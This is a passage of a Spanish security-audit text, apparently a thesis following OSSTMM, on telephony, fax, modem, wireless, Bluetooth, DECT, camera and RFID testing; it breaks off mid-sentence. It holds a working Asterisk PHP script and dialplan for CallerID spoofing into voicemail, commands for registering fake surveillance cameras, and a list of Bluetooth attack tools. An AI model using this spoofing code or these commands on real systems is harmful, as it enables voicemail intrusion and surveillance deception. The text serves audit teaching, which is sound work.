Este tema ha sido ampliamente comentado sobre la red, sobre todo durante los años 80, aunque
volvió a ser actualidad cuando el móvil de Paris Hilton (conocida figura pública) fue hackeado.
Tipos de buzones de voz, hay miles. Cada uno es configurable, por lo que posibilidades hay
muchas, y lo más común es que estén embebidas dentro de la propia PBX. Además de estas últimas,
existen programas que implementan estas funciones, como por ejemplo Asterisk, un programa libre
que proporciona funcionalidades de una PBX. Este es utilizado actualmente, en muchos lugares,
como por ejemplo la UPV (universidad politécnica de Valencia).

La seguridad de los buzones de voz, suelen estar basados en 2 cosas:

•Contraseña
•CallerId: número desde el que se llama.

Existen multitud de formas de acceder a los mensajes guardados en el buzón de voz personal,
siendo la más común (para particulares), el descolgar el teléfono, y esperar a acceder al buzón de
voz. Esta forma de autenticarse, se realiza mediante la CallerId. En otros, se suele marcar un
número de teléfono (dependerá de la PBX que proporcione el servicio) e introducir una contraseña.
Esto suele ser más común en empresas, o para poder acceder a los buzones de voz de forma remota.
A modo de ejemplo de comprometer la seguridad basada en el CallerID, se va a mostrar un trozo de
código que utiliza la técnica de CallerID Spoofing:

#!/asterisk/php/bin/php -q
<?
set_time_limit(30); //para que no se agote el tiempo del script
require(’phpagi.php’); // incluye phpagi class
error_reporting(E_ALL); // limitar los errores
$agi = new AGI(); // instanciar la clase AGI
$agi->answer(); // contestar el teléfono

Página 49
sleep(2); // esperar 2 segundos
$agi->stream_file(’enter_spoof’); // reproducir un wav que dice
enter the number
$result = $agi->get_data(’beep’, 3000, 10); // suena beep y coge
los 10 números
$agi->verbose(”Number to call:”.$result['result']); //muestra
información para saber que está sucediendo
$agi->set_callerid($result['result']); // pone el CallerID en el
número que estás marcando
$agi->exec(”Dial IAX2/iax-provider/1″.$result['result']); //llama
al número
?>

Podemos añadir lo siguiente en el /var/lib/asterisck/agi-bin y después especificar la extensión que

quieres utilizar para marcar y ejecutar el script php/agi:
exten => 666,1,Answer
exten => 666,2,AGI(tmobilevoicemail_spoof.php)
exten => 666,3,Hangup

Como vemos, de la misma forma que Asterisk puede utilizarse como PBX, aquí podemos utilizarlo
para fines maliciosos, y por tanto, también para saber como funcionan las herramientas de gente con
intenciones fraudulentas.

3. Revisión de los faxes

Este módulo se ocupa de revisar la correcta configuración de los faxes. Comprobar si el sistema
operativo está actualizado, contraseñas por defecto, etc.
Como bien dice Bruce Schneier, experto en seguridad informática y escritor, los faxes son
fascinantes. Son tratados como los documentos originales, aunque carecen de los mecanismos de
autenticación que se han desarrollado para los documentos oficiales, como puedan ser las marcas de
agua, firmas, etc... La mayoría de las veces no hay problemas, pero muchas veces se puede explotar
la confianza innata de las personas en los faxes en beneficio propio.
A medida que más y más compañías están adquiriendo faxes multifunción, están dando más
oportunidades a que surjan fallos de seguridad. Esto se debe a que, uno de los factores que más se
está abarcando a todos los fabricantes, es que no existen restos que un auditor/forense pueda
examinar para solucionar problemas. Es decir, puedes enviar por FTP o email cualquier documento
que quieras (a la competencia, por ejemplo), sin que se registre nada. La mayoría de estas máquinas
proveerán una dirección de FTP o email del destino, pero el remitente no lo identifica. Existen
algunos fabricantes que permiten asignar a todo el mundo un código ID (normalmente de 3 o 4
dígitos) que deberás introducir para poder enviar cualquier cosa, pero esto no suele ser muy común.
Hoy en día puedes enviar faxes desde la privacidad de tu puesto de trabajo, aunque muchos faxes
tradicionales guardan una copia de todo lo enviado par posteriormente revisarlos, y proveer una
buena fuente de información para los auditores. Sin embargo, casi ninguna impresora/fax
multifunción lo hacen, incluso utilizando la mayoría de los clientes de fax (normalmente un cliente
web) que viene con los multifunción.
Además, la mayoría de los multifunción permiten que utilices sus clientes FTP y email desde tu
puesto de trabajo (y no desde la propia máquina, lo cual ofrece al usuario malintencionado mayor
discreción).

Página 50
También sucede que, cualquiera puede ver los parámetros de configuración (dirección IP, nombre
del servidor de correo, etc..), aunque el administrador no permita que los usuarios cambien los
mismos, lo cual, sigue siendo útil para el usuario malintencionado. Aún así, es poco común que los
encargados de éstas máquinas se preocupen de de denegarlo vía el navegador web el FTP y telnet
(muchos de los usuarios ni siquiera sabrán que es telnet). Siendo así, cualquiera puede cambiar las
direcciones IP, las mascaras de red, o la puerta de acceso de la impresora para deshabilitarlo, o
incluso crearse una forma de evadir firewalls, por ejemplo.
Otro punto interesante, es la gran capacidad de almacenaje que tienen, pues almacenan todo lo que
se va imprimiendo, escaneando, emails etc...
Por último, comentar algunos ejemplos de fallos encontrados en el modelo de Imagistics DL370:
1.Contiene 3 cuentas administrativas y contraseñas. Para consola, navegador web y telnet. La
consola no está activada por defecto. Las 3 cuentas tienen por defecto el login/contraseña como:
adm/adm, aunque cada proveedor es posible que cambie esto antes de instalarlo.
2.Las funciones de administración requieren una contraseña, aunque una vez introducida la
contraseña se almacena en la URL en texto sin cifrar, y puede ser recuperado fácilmente.
3.Si se guardan los parámetros de configuración en el disco duro, y abres el fichero .bin con algún
editor de texto, aparece también la contraseña del admin, y solo se necesita permiso de usuario para
leerlo.
4.No puede deshabilitarse la función del navegador web para la administración, por lo que los fallos
2 y 3 siempre estarán disponibles.

4. Testeo de Módems
La técnica más importante que se utiliza para comprometer la seguridad de los módems, es la
conocida como wardialing:
Wardialing fue una técnica utilizada principalmente en las décadas de los 80 y 90, cuando los
módems de marcación por tonos eran la forma más común de conexión a internet. Consistía
principalmente en hacer llamadas a una serie de números de teléfono automáticamente con el fin de
encontrar módems conectados que permitieran la conexión con algún ordenador. El término toma su
nombre de una película llamada Wargames, donde los protagonistas utilizaban una técnica conocida
hasta entonces como daemon dialing, y la llamaban wardialing. A partir de entonces, pasó a
llamarse wardialing, y es la que se emplea actualmente.
Con la llegada de las nuevas tecnologías, unas herramientas quedan desfasadas, y otras aparecen, y
dentro del wardialing, aparece una herramienta novedosa: WarVox(Figura 15: ).

Figura 15:

Ésta es una herramienta actual que permite, mediante VoIP, realizar una identificación o
clasificación de líneas de teléfono que expongan servicios a datos.

Página 51
VoIP es en realidad un amalgama de protocolos destinados a transmitir telefonía tradicional por
medio de redes de datos. La práctica totalidad de los protocolos de VoIP existentes (h.323, SIP,
IAX, SS7oIP, etc.) diferencian claramente la información de señalización (información de control
de datos, por ejemplo pulsar el número 7, nueva llamada, etc), de la información “de voz” o sonido.

En VoIP, los codecs que se emplean tienen como meta, el reducir al máximo el ancho de banda
necesario para transmitir la llamada, permitiendo realizar el mayor número de llamadas
concurrentes, a diferencia de las llamadas tradicionales de telefonía digital.

Por ejemplo, en telefonía digital tradicional, un primario EuroISDN E-1 dispone de 30 canales de
64kb/s cada uno, lo cual permite la transmisión de 30 llamadas concurrentes. Sin embargo, el
mismo primario puede ser configurado para la transmisión de datos mediante protocolo TCP/IP, en
cuyo caso el primario ofrece un ancho de banda total de 2Mb/s. Sobre este canal de 2Mb/s el
operador puede, utilizando VoIP cursar con facilidad más de 80 llamadas concurrentes . Esto es
posible porque los codecs de VoIP están diseñados para limpiar, normalizar y simplificar el sonido
antes de comprimirlo. Además, se realiza una compresión con pérdidas, ya que lo único que se
busca, es que la información de habla que intercambian dos personas sea comprensible.
Sin embargo, el empleo de estos codecs tan eficientes, presenta un grave problema cuando se
pretende realizar un wardialing. O de forma más generalista, presentan un grave problema cuando
se pretenden transmitir datos como parte del sonido de una llamada VoIP, pues estos codecs son
generalmente incompatibles con la forma en la cual un módem tradicional codifica la información
para su transmisión.

Resumiendo: en la mayor parte de los casos, es improbable (que no imposible), la transmisión de

datos de un módem por medio de VoIP. Así pues, dado que en un wardialing lo que se pretende es
identificar y atacar servicios de datos como servidores de Acceso RAS, Servidores de Terminales,
sistemas de control industrial, x.25, etc. tratar de emplear VoIP para conectar a estos sistemas seria
un intento fútil. Así mismo, y para el escenario que nos ocupa, tratar de mantener muchas llamadas
concurrentes a través de Internet empleando estos g.711 consumirá un ancho de banda considerable,
además de introducir latencias muy superiores a las de los otros codecs, resultando una
configuración poco práctica en la mayor parte de los escenarios.

Después de esta introducción, es donde entra WarVox, una herramienta que nos ayudará en una de
las fases mas tediosas del wardialing: la identificación de objetivos:
Como paso previo en el wardialing, lo normal, es realizar una batería automatizada de llamadas a
todos los números de teléfono a investigar para identificar en que líneas hay algún tipo de “servicio
de datos” y cuáles son líneas de Voz. Sin embargo, muchas veces el rango de números de teléfono
que suelen proporcionar algunas compañías suele ser bastante extenso. Además, es posible que
estén distribuidos muy lejanamente entre sí, en distintas ciudades, comunidades autónomas, o
incluso países, por lo que el coste económico y temporal de realizar esto a mano, suele ser
imposible. Y he aquí el problema que WarVox intenta solucionar: permitir reducir el tiempo y coste
necesario para realizar la identificación y clasificación de los números de teléfono a investigar.
Empleando la VoIP que los operadores de telefonía ofrecen, a través de internet, de forma que
podamos reducir el coste y llamadas concurrentes (tal y como hemos explicado anteriormente).

Página 52
 Figura 16:

Con WarVox, podemos introducir una lista (o una serie de rangos) a analizar, para que la
herramienta llame a dichos números por medio de VoIP y nos proporcione una lista reducida de
números “interesantes” sobre los cuales profundizar en un análisis más manual. Esto suele ser
común en muchas de las formas de trabajar de los auditores, comenzar el análisis de uno de los
módulos mediante la automatización antes de pasar al modo manual. Y no solo hablando de
herramientas informáticas que lo realicen, sino también mediante el uso de scripts que hacen que los
propios programas puedan trabajar en los aspectos más tediosos y largos, y que los propios
auditores puedan dedicar su reducido tiempo a otros aspectos que no es posible automatizar.

Volviendo al tema, a diferencia de las herramientas de wardialing tradicional, WarVox no “conecta”

al otro extremo e interpreta los “datos” como seria habitual.. Por el contrario, WarVox lo que hace
es grabar durante un tiempo determinado el sonido que “genera el otro extremo” tras descolgar, para
más tarde analizarlo mediante transformaciones de Fourier y otros análisis matemáticos en busca de
indicios de que el sonido corresponde a un módem, fax u otro servicio de datos.
Una vez recopilados estos números de teléfono “interesantes”, ya se puede utilizar los módems
tradicionales para marcar e investigar que se esconde tras la portadora remota, tal y como se viene
haciendo en el Wardialing tradicional.

Sección E – Seguridad Wireless

1. Testeo de Radiación Electromagnética

Este módulo raramente se realiza para una auditoría de empresa. Tiene más cabida dentro de
entornos militares o inteligencia, donde se ha de estar seguro al 100% (o al menos, lo más seguro
posible). Es un tipo de pruebas y verificaciones que resultan muy costosas de realizar, tanto por
parte de un auditor, como por parte de alguien malintencionado, por lo que muy pocos auditores le

Página 53
dedican mucho tiempo. Es mejor dedicar el escaso tiempo del que suele disponerse para recorrer el
resto de módulos de la metodología.

En este módulo, lo que se suele explorar, es la radiación emitida por los distintos dispositivos de los
que dispone una empresa. Existen dispositivos, que son capaces de detectar desde una cierta
distancia, la radiación que emite una pantalla de ordenador, por ejemplo, y mostrar las imágenes en
otra pantalla. De esta forma, no es necesario tener contacto visual con la pantalla. También es
posible recoger radiación de impresoras, módems, teléfonos móviles y tratar de mostrar lo que han
recogido, o están transmitiendo, aunque muchas veces, aparece demasiado ruido como para que
pueda entenderse, o simplemente utilizando coberturas metálicas (en bases militares de EEUU
utilizan equipamiento especialmente diseñado contra estas fugas de información, catalogados como
Tempest). También es posible reducir las probabilidades de ser detectado, utilizando
configuraciones de pantalla con bajo contraste, o emitir ruido blanco (la típica niebla de la
televisión es ruido blanco) para que los receptores no sean capaces de distinguirlo de la señal
original.

2. Testeo de Redes Wireless

Sigue habiendo muchas, aunque cada vez menos, puntos de acceso wireless sin ningún tipo de
protección, o con protección Wired Equivalent Privacy (WEP). Durante mucho tiempo, ha sido (y
aún sigue siendo) un proveedor de internet para mucha gente que o bien no tiene punto de acceso
propio, o que está de paso. Manuales para realizar tests de penetración en redes wireless hay
muchos por la red, cada uno trabajando de una forma distinta. Incluso se han llegado a publicar
distribuciones linux adaptadas para realizar este tipo de ataques (por ejemplo, la archiconocida
WifiSlax o Backtrack). Esta es la razón de que no se incluya un ejemplo paso a paso, por lo que
simplemente se citarán algunas de las herramientas más populares.

Antes de empezar un test de penetración contra una red wireless, es importante entender que las
vulnerabilidades asociadas con las WLANs. El estándar 802.11 fue desarrollado como un estándar
abierto, es decir, que la facilidad de acceso y conexión fueron sus principales objetivos. Sin
embargo, la seguridad no fue una de sus prioridades, y los mecanismos de seguridad que se
desarrollaron fueron pensados más adelante, casi a modo de parche. Cuando la seguridad no es
introducida como parte del mismo concepto de desarrollo, suele ocurrir que no ofrecen una
solución robusta, por lo que en las redes Wireless, éste es un asunto bastante preocupante. Es por
esto, por lo que muchas veces, debemos preguntarnos ¿es realmente necesario utilizar wireless en
lugar de cable? ¿Es realmente necesario tener tanto alcance, o podemos reducirlo?

Existen dos tipos básicos de vulnerabilidades en WLAN: las que son resultado de una mala
configuración, y las vulnerabilidades por mala codificación (igual que cuando hablábamos de las
contraseñas).
Los problemas de configuración son las responsables de muchas vulnerabilidades asociadas con
WLANs. Esto es porque las redes wireless son fáciles de instalar, y muchas veces se despliegan con
protecciones pobres o inexistentes. Una WLAN abierta, una que esté con la configuración por
defecto, requiere casi nada de trabajo para un penetration tester. Simplemente configurando el
adaptador WLAN para asociarse con redes abiertas, permite el acceso a las mismas. Una situación
similar existe cuando se utilizan medidas de seguridad inadecuadas. Las WLANs muchas veces se
instalan por mandos superiores, y se requiere rapidez, por lo que los administradores simplemente
ocultan los puntos de acceso y/o habilita el filtro por dirección MAC.
Ninguna de estas medidas provee una seguridad real, y un tester puede deshacerse de ellas
fácilmente.
Cuando un administrador instala la WLAN con uno de los mecanismos de codificación disponibles,

Página 54
un tester puede muchas veces introducirse también en la red, gracias a las vulnerabilidades
inherentes a la codificación utilizada. Tanto WEP como WPA (Wi-Fi Protected Access) son
vulnerables a ataques de diccionario offline, con WPA siendo objetivo de cada vez ataques más
rápidos en el año pasado.

Como herramientas populares para este campo:

•kismet: sniffer o husmeador de paquetes y sistema de detección de intrusiones para WLANs. Se

diferencia del resto de sniffers inalámbricos en que su funcionamiento es pasivo, es decir, lo hace
sin enviar ningún paquete detectable.
•aircrack-ng: software que consiste en un sniffer y crackeador de WEP, y WPA/WPA2-PSK.
Incluye, entre otras aireplay-ng, airodump-ng entre otras
•macchanger: utilidad linux/unix para cambiar la dirección MAC de una tarjeta por otra específica.
Ideal para MAC Spoofing.
•airodump-ng: sniffer de paquetes, que los clasifica en ficheros PCAP o IVS, y muestra
información sobre redes.
•aireplay-ng: Inyector de paquetes. Sirve para obligar a los puntos de acceso a que nos envíen más
paquetes, y poder aumentar el tráfico del punto de acceso, de tal forma que podamos recoger más
información para tratar de romper la clave. Solo funciona con algunas tarjetas.

3. Testeo de Redes Bluetooth

El nombre de Bluetooth (diente azul) proviene del apodo del rey Harald de Dinamarca, que gobernó
desde 958 hasta 986 aproximadamente, y también rey de Noruega alrededor de 970. La compañía
Ericsson puso el nombre de Bluetooth a una nueva tecnología en memoria de Harald, que unificó
Dinamarca y Noruega poniendo fin a la era vikinga, pues una de los objetivos de esta tecnología era
el poder unificar varios dispositivos.

Bluetooth, es una especificación industrial para Redes Inalámbricas de Área Personal (WPANs)
que posibilita la transmisión de voz y datos entre diferentes dispositivos mediante un enlace por
radiofrecuencia segura y globalmente libre (2,4 GHz.). Los principales objetivos que se pretenden
conseguir con esta norma son:

• Facilitar las comunicaciones entre equipos móviles y fijos.

• Eliminar cables y conectores entre éstos.
• Ofrecer la posibilidad de crear pequeñas redes inalámbricas y facilitar la sincronización de
datos entre equipos personales.

Los dispositivos que con mayor intensidad utilizan esta tecnología pertenecen a sectores de las
telecomunicaciones y la informática personal, como PDA, teléfonos móviles, ordenadores
portátiles, ordenadores personales, impresoras o cámaras digitales.

Este módulo de la OSSTMM, se encarga principalmente de comprobar las redes conocidas como
piconets :

Una piconet puede constar de dos a ocho dispositivos unidos por Bluetooth. En una piconet, habrá
siempre un maestro y los demás serán esclavos.
El periférico como maestro:

Página 55
•Se encarga de escoger el hop adecuado para mantener el enlace.
•Establece conexiones en las que un paquete de datos ocupa una ranura para la emisión y otro para
la recepción que pueden ser usados alternativamente, dando lugar a un esquema de tipo TDD (Time
Division Duplex).
•La secuencia única de salto de frecuencia del canal está determinado por la identidad del maestro
de la piconet (un código único para cada equipo), y por su frecuencia de reloj. Para que una unidad
esclava pueda sincronizarse con una unidad maestra, ésta debe añadir un ajuste a su propio reloj
nativo y así poder compartir la misma portadora de salto.

Mucha gente no es consciente de la seguridad en, por ejemplo sus teléfonos móviles. Siempre que
piensan en seguridad de las tecnologías de la información, piensan únicamente en sus ordenadores
personales, pero dentro de los teléfonos, se puede encontrar montones de información personal o
confidencial (sobre todo si es el teléfono de algún ejecutivo).

Una herramienta interesante, es Super Bluetooth Hack, una herramienta Java para teléfonos
Ericsson y Nokia. Entre otras acciones disponibles para realizar contra un teléfono remoto, incluye:

•Leer mensajes SMS

•Leer contactos
•Cambio de perfil
•Desempeñar melodía (incluso si el teléfono está en silencio)
•Reproducir canciones
•Reiniciar el teléfono
•Apagar el teléfono
•Restaurar la configuración de fábrica
•Cambio de volumen de timbre
•Llamada desde otro teléfono

Cabe notar, que se necesita que el teléfono remoto nos de permiso para emparejar los teléfonos. Sin
embargo, esto puede no ser demasiado dificil utilizando alguna técnica de ingeniería social.

Existen muchas otras herramientas:

•Blooover: herramienta que funciona sobre teléfonos con J2ME habilitado. Es una herramienta de
auditoría que puede ser utilizado para comprobar si sus teléfonos son vulnerables
•BlueBug: BlueBug es el nombre de un agujero de seguridad en algunos teléfonos móviles con
Bluetooth. Explotando este agujero, permite descargar agendas de contacto y listas de llamadas
enviando mensajes SMS al teléfono atacado entre otras cosas.
•BlueFish: es un sistema de vigilancia que busca la presencia de dispositivos Bluetooth y sus
usuarios. BlueFish escanea constantemente en busca de dispositivos con Bluetooth activado.
Cuando encuentra un nuevo dispositivo, el programa saca una captura del área donde fue localizado
el dispositivo, y cataloga toda la información disponible del dispositivo. Si vuelve a encontrar
alguna vez ese mismo dispositivo, se le enviará la última imagen capturada del mismo mediante
Bluetooth. Todas las imágenes son marcadas con el nombre del dispositivo y la hora cuando fue
observado por última vez. Según va pasando el tiempo, se construye un perfil de cada dispositivo,
de forma que es posible hacerse una idea de las costumbres de la persona que frecuenta el lugar.

Página 56
•Bluetooth Phone Book Dumper: crea una copia de seguridad del Nokia 6310 vía Bluetooth.
También funciona en algunos móviles Ericsson. Los datos se escriben en formato XML estándar.
No es necesario introducir ningún dato del objetivo ni emparejamiento, simplemente utiliza
comandos GSM AT a través de conexiones RFCOMM (Logical Link Control and Adaptation
Protocol o en español: Protocolo de control y adaptación del enlace lógico).
•FreeJack: la principal aplicación de este programa es el enviar mensajes anónimos a dispositivos
con Bluetooth activado dentro de su rango

Como vemos, es un campo bastante estudiado (y por lo tanto, también por parte de hackers
malintencionados), por lo que siempre es aconsejable mantener los teléfonos móviles actualizados,
y no activar Bluetooth mas que en los momentos que sea necesario.

4. Testeo de Dispositivos Inalámbricos

Esta sección estudia cuan seguros son los dispositivos inalámbricos de entrada de un ordenador.
Cada vez más, los usuarios buscan comodidad dentro del hardware que compran, y buscan el
deshacerse de los cables. Compran ratones, teclados, micrófonos inalámbricos etc... sin embargo, no
se es consciente, de que muchas veces esto puede suponer una vía de entrada para los hackers más
experimentados.
Existen métodos para capturar, por ejemplo, aquello que se está tecleando en un teclado, de forma,
que puedan leerse las contraseñas que escribe el usuario, por ejemplo.

Alguna vez ha sucedido que, trabajando con dos ordenadores adyacentes, sus ratones inalámbricos
ha interferido el uno con el otro, de forma que trabajando con uno de ellos, el puntero de la pantalla
del otro ordenador también se movía. Esto suele suceder en alguna ocasión, generalmente con
modelos de la misma marca y/o modelo. Lo mismo ocurre con los teclados, que pulsando una tecla,
aparecen los caracteres en ambos monitores. Sucede, que interfieren el uno con el otro, y puede
solucionarse sincronizando uno de ellos para que deje de interferir. Sin embargo, esto puede llamar
la atención a algún experto en seguridad (ya sea auditor o hacker malintencionado).
A finales de 2007, se hizo público el hallazgo de dos investigadores de una compañía suiza llamada
Dreamlab Technologies. Según sus afirmaciones, los teclados inalámbricos Microsoft codifican de
una forma tan débil la información que envían que es posible no sólo ver y almacenar en tiempo
real cada tecla que fue presionada, sino también interferir en la comunicación y emular a uno de
estos teclados, enviando caracteres en su nombre.
Estos teclados, que suelen trabajar a una frecuencia de radio de 27 MGHz, envían durante el
proceso de emparejamiento la clave con la que van luego a cifrar toda la comunicación en plano y al
descubierto, de forma tal que si se tiene la oportunidad de captar este proceso ni siquiera hace falta
descifrar nada. Y si no es así, no importa; la codificación se realiza mediante una simple operación
XOR, y la clave generada al azar en cada emparejamiento sólo varía en un byte, por lo que sólo hay
256 combinaciones posibles para probar.
Los investigadores fueron capaces de capturar las teclas que se presionan en varios teclados
simultáneamente, en un radio de 10 metros, ya sea en el mismo cuarto o desde otra habitación, pero
señalan que utilizando antenas direccionales el alcance puede extenderse fácilmente.

Por lo tanto, y a pesar de la comodidad que nos puedan ofrecer los medios inalámbricos dentro del
ámbito de los periféricos de entrada del ordenador, lo más seguro es utilizar el cable. No obstante,

Página 57
realizar la operación de captura de lo que se escribe en un teclado, es una operación difícil que
pueden hacer unos pocos, por lo que no debemos preocuparnos a nivel de usuario. Ni siquiera a
nivel de empresa (depende de qué empresa), puesto que todos sabemos, que siempre podemos
encerrarnos en un búnker a trabajar (y esto probablemente tampoco fuera 100% seguro), pero hay
que encontrar un equilibrio entre la seguridad y la funcionalidad.

5. Testeo de Dispositivos Inalámbricos de Mano

En este módulo, se tratan todos los dispositivos inalámbricos como un todo. Son muchos los tipos
que existen, por lo que en esta sección, se engloban como un conjunto, y se tratan por igual.
Lo más importante, es sobre todo el educar al usuario, para que sea responsable y consciente de los
peligros que suponen este tipo de dispositivos para la seguridad.
A continuación se expone algunas de las vulnerabilidades específicas de los dispositivos
inalámbricos e inalámbricos de mano:

•Todas las vulnerabilidades que existen para las redes cableadas tradicionales se aplican también a
las inalámbricas.
•Puede ganarse acceso no autorizado a la red a través de conexiones inalámbricas eludiendo las
protecciones del firewall.
•La información que no sea codificada (o que es pobremente codificada) puede ser interceptada
entre dos dispositivos inalámbricos y leída.
•Pueden dirigirse ataques de denegación de servicio contra conexiones o dispositivos inalámbricos.
•Puede suplantarse la identidad de usuarios legítimos en redes internas o externas corporativas.
•Datos importantes pueden corromperse durante una sincronización incorrecta.
•Es posible que pueda violarse la privacidad de los usuarios legítimos y ser capaces de seguir sus
movimientos.
•Es posible instalar equipamiento no autorizado (por ejemplo, equipos de visitantes) para ganar
acceso a información privada.
•Los dispositivos de mano puede ser fácilmente robados y pueden revelar información confidencial.
•Pueden extraerse datos sin que sea detectado de dispositivos mal configurados.
•Los virus, u otros códigos maliciosos pueden corromper los datos de un dispositivo inalámbrico y
después, introducirse en una red cableada.
•Los virus u otros códigos maliciosos pueden a través de conexiones inalámbricas conectar con
otras compañías u organizaciones, siendo estas últimas el objetivo de su ataque, de forma que sea
más difícil de detectarse.
•Los intrusos pueden ganar conectividad a la red desde fuera o dentro del edificio donde esté la red,
o ganar, incluso, control de administración de las redes y sabotear las conexiones.
•Puede realizarse ataques internos vía transmisiones ad-hoc.

6. Testeo de Comunicaciones Inalámbricas

En este módulo, se estudia la seguridad que ofrecen los dispositivos inalámbricos de
comunicaciones (cuyo mejor ejemplo, son los teléfonos inalámbricos) de la empresa que se audita.
Se estudia sobre todo, interferencias y alcance de los dispositivos inalámbricos.
Este es otro de los módulos que las organizaciones no suelen tener en cuenta, ya que no forma parte

Página 58
de la red de ordenadores. Sin embargo... ¿que precio tiene el poder escuchar conversaciones
telefónicas de los competidores, por ejemplo? Concretamente, se ha conseguido hacer con 23€:

El sistema DECT (patentado en España en 1993 para ser utilizado en Europa) es utilizado para
comunicaciones sin cables de voz y datos de forma segura en distancias cortas. Algunas de sus
aplicaciones son la comunicación de teléfonos inalámbricos con sus estaciones base, aunque existen
más, como la apertura de puertas de garaje entre otras.

Siendo el protocolo públicos, hay dos aspectos que no lo son y solo los fabricantes tienen acceso a
los mismos: El algoritmo de autenticación DASS y el sistema de cifrado DSC.

El algoritmo DASS ha sido descifrado mediante ingeniería inversa, y como muchos teléfonos
DECT no llevan habilitada la codificación DSC, es posible capturar el audio o suplantar la estación
base donde se conecta el teléfono.

Ahora deDECTed.org ha anunciado que en los próximos días publicará una implementación en C de
la codificación DSC, que ha sido posible desarrollar gracias a la ingeniería inversa de hardware.

En el Chaos Communication Congress, demostraron como volcar a disco una conversación

telefónica, utilizando para ello la tarjeta PCMCIA COM-ON-AIR, para la que han desarrollado
drivers para Linux y que se puede conseguir por alrededor de 23 €.

Actualmente se cree que hay 30 millones de teléfonos que utilizan DECT en Alemania, por lo que
estaríamos ante un grave problema de privacidad.

7. Dispositivos de Vigilancia Inalámbricos

En este módulo, la atención se centra en dispositivos que sirvan de vigilancia, por ejemplo cámaras
inalámbricas.
Estas son muy fáciles de instalar, ya que no requiere cables. Además, se pueden instalar en lugares
inaccesibles por la misma razón, y es por esto, por lo que muchas empresas deciden instalarlas.
Sin embargo, comparten varios fallos de seguridad con sus análogas de cable:
El primero de ellos, es el basado en la relación de confianza que existe entre el dispositivo y el
donde está conectado. Es imposible de saber si la cámara en la otra punta es lo que debería ser. No
existe ningún método implementado basado en IP para sistemas de vigilancia. El método de ataque
es sencillo: desconectar la cámara de vigilancia, y conecta un portátil en su lugar. EL software de
videovigilancia nunca podrá saber que la cámara ha sido reemplazada por un stream de video.

Muchos de las soluciones implementadas para videovigilancia basadas en IP, están basadas en
protocolos de descubrimiento básicos, como mdNS y UpnP. Ambos, trabajan con direcciones
multicast, por lo que es posible falsificar tantas cámaras como queramos.
De hecho, existen por la red scripts como register.py
(http://www.gnucitizen.org/static/blog/2008/01/register.py) que registran una cámara del modelo
AXIS206 en el sistema, mientras que el script server.py
(http://www.gnucitizen.org/static/blog/2008/01/server.py) envía un stream de video en MJPEG.

Para usarlos:

Página 59
register.py [dirección MAC aquí] &
server.py http://152.1.130.216/mjpg/video.mjpg # MJP video stream

Podemos registrar tantas cámaras como queramos, de tal forma que simplemente se pueda causar
caos, o hacer creer a los vigilantes que las cámaras estén mal situadas.

Como último dato a resaltar, es el comentar que existen empresas que fabrican dispositivos que
escanean en busca de cámaras automáticamente(Figura 17: )

Figura 17:

El dispositivo de la Figura 17: concretamente ofrece:

•Escanear en busca de cámaras ocultas en menos de 5 segundos.

•Alcanza los 150 metros su exploración.
•Utilizadapor profesionales para buscar en edificios enteros.
•Escanea frecuencias de 900 MHz a 2.52 GHz y busca un gran rango de cámaras incluyendo PAL/
NTSC, CCIR/EIA.
Viendo estas características, cualquier persona entrenada (y con $499.95) puede sortear un sistema
de vigilancia.

8. Dispositivos de Transacciones inalámbricas

Esta sección se refiere en gran medida los dispositivos que se encuentran en las cajas registradoras
de algunas tiendas. Son aquellas que se utilizan para leer los códigos de barras de los productos que
se venden. Se suelen utilizar para poder mantener un inventario, llevar contabilidad etc...
Se suele estudiar si realmente son necesarios, si están en concordancia con las políticas de empresa,
ver si están actualizados los firmwares etc...

9. Testeo de RFID
RFID (siglas de Radio Frequency Identification o identificación por radiofrecuencia) es un sistema
de almacenamiento y recuperación de datos remoto que usa dispositivos denominados etiquetas,

Página 60
transpondedores o tags (o etiquetas) RFID.

Figura 18:

El propósito fundamental de la tecnología RFID es transmitir la identidad de un objeto (similar a un

número de serie único, algo parecido a las direcciones MAC de las tarjetas de red) mediante ondas
de radio.
Esta tecnología ofrece una cantidad de ventajas, ya es una forma rápida y eficiente de realizar
inventarios. Es posible detectar muchos de éstos simultáneamente, y si marcamos (por ejemplo los
productos de una tienda), podemos saber cuantas existencias tenemos de un determinado objeto.
Además, también es posible detectarlos por si van a salir o entrar de un recinto, lo cual podría ser
útil para detectar hurtos en tiendas.
Pero no solo eso. Los chips RFID están en todas partes, muchas empresas y laboratorios los usan
como llaves de acceso, algunos coches los utilizan en vez de llaves, y como bien hemos dicho,
tiendas y supermercados para realizar inventarios y sistemas antirrobo. Ahora, se está estudiando
incluso el uso de los mismos para pasaportes, DNI, tarjetas de crédito, o a modo de poder introducir
el historial clínico en los mismos pacientes (tal y como se viene haciendo para perros y gatos por
parte de los veterinarios).
La tecnología RFID data de antes de la segunda guerra mundial, cuando los Británicos colocaban
transpondedores de radio en los aviones Aliados para ayudar a los sistemas de radar a distinguir
entre amigos y enemigos. Los primeros chips fueron desarrollados en los laboratorios en los
sesenta, y en la siguiente década, el gobierno de los EEUU los utilizó para autorizar a los camiones
que entraban en Los Alamos National Laboratory y otras instalaciones de seguridad.
Los chips comerciales se generalizaron en los ochenta, y los RFID se utilizaban para marcar
propiedades difíciles de manejar tales como animales de granja(Figura 19: ) y coches de carretera.
Pero, ha sido en estos últimos años, cuando el mercado de los RFID se han expandido, dirigidos por
avances de las bases de datos informáticas y las bajadas de los precios de los chips. Ahora, docenas
de compañías, como Motorola, Philips o Texas Instruments las fabrican en cantidades industriales.

Figura 19:

Las etiquetas RFID se basan en la emisión de unos pocos bits de información a lectores electrónicos
especializados. La mayoría de los chips RFID comerciales son emisores pasivos, lo cual significa
que no llevan alimentación (como batería o pilas): envían una señal solamente cuando las ondas
recibidas los alimentan con un “chorro” de electrones. Una vez alimentados, emiten su señal
indiscriminadamente dentro de un cierto rango, normalmente de entre unos pocos centímetros a un
par de metros. Los emisores activos, con alimentación interna, pueden enviar señales a cientos de

Página 61
metros; estos son utilizados en, por ejemplo, algunos pagos de peaje automatizados de EEUU.

Como medida de seguridad, las señales RFID pueden ser cifrados. Estos chips, que probablemente
acaben siendo implantados en documentos de identidad, por ejemplo, son los candidatos ideales
para ser codificados, y haciendo que sea más difícil para los lectores no autorizados recavar
información. Pero los RFID comerciales (refiriéndonos por comerciales a los de los
supermercados), no incluyen cifrados, ya que suele ser bastante caro: un chip RFID cifrado cuesta
alrededor de 5$, lo cual no lo hace rentable muchas veces.

Esto hace, que la mayoría de los RFID sean vulnerables a su clonación, o si el chip tiene áreas de
memoria que permitan escritura, el insertarle datos. Siendo así, se permitiría el cambiar precios, por
